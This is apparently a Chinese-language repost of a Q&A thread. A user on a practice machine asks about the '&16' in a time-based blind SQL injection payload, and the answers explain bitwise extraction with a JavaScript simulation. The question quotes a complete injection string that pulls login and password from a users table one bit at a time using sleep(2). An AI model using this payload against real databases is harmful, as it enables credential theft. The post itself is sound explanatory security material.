我有這個 MySQL 查詢,我唯一不明白的是這部分&16
if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)
我正在嘗試解決一臺存在 SQL 盲注的機器:
這是查找登錄名和密碼的整個有效負載,逐個字符:
hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1
實作16值的代碼是通過{2**bit}來做的, 并且位值是 0 到 7 的范圍
uj5u.com熱心網友回復:
看起來此人正在嘗試檢查用戶名 密碼的第二個字母是否屬于以下 ascii 字符范圍之一:
16 - 31
48 - 63
80 - 95
112 - 127
144 - 159
176 - 191
208 - 223
240 - 255
我相信您會為用戶名 密碼的每個字母、1、2、4、... 128 之間的每個值以及用戶表中的每一行找到類似的嘗試。
現在,這就是他真正想做的事情:
您需要 256 次嘗試使用蠻力來猜測一個字母,即您檢查 ascii 代碼 0x00 - 0xFF。但如果按位AND運算可用,您可以一次檢查一位,并在 8 次嘗試中猜出字母。這是他嘗試做的事情的 JavaScript 實作:
// assume this is the character from substring(..., 2, 1)
let substring = String.fromCharCode(Math.random() * 256);
// ...and this holds the ascii value of the character he's guessing
let cracked = 0;
// i represents the values used in the "&" operation
for (let i = 1; i <= 128; i <<= 1) {
console.log(`i = ${i.toString().padStart(3, " ")} (0b${i.toString(2).padStart(8, "0")})`);
if (substring.charCodeAt(0) & i) {
// when "&" operation results in a truthy value he spots a 2 second delay
// ...and updates the guessed value
cracked |= i;
}
}
console.log(`that substring: ${substring}`);
console.log(`cracked string: ${String.fromCharCode(cracked)} (${cracked})`);
uj5u.com熱心網友回復:
它從users表中單行的單個字符中提取一個位。
如果成功,那么攻擊者就知道他們可以查詢您的用戶和密碼。然后他們可以結合許多其他查詢來從其他字符中提取其他位。一旦他們獲得了所有這些資訊,他們就可以在自己的計算機上將其拼湊起來并重建完整的用戶名和密碼。
為什么他們以如此奇怪的方式這樣做,一次一點?
因為這樣他們就不必回傳資料就知道它是什么。他們可以一次檢查一個位,這會影響它運行的查詢的結果。他們檢查了:
hacker' or if(...,sleep(2),0)
如果位為 1,這將導致查詢延遲 2 秒,如果位為 0,則不會延遲。他們可以對結果進行計時,因此知道是否設定了特定位。一旦他們對所有位執行此操作,他們就會知道完整的字串。
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/339062.html
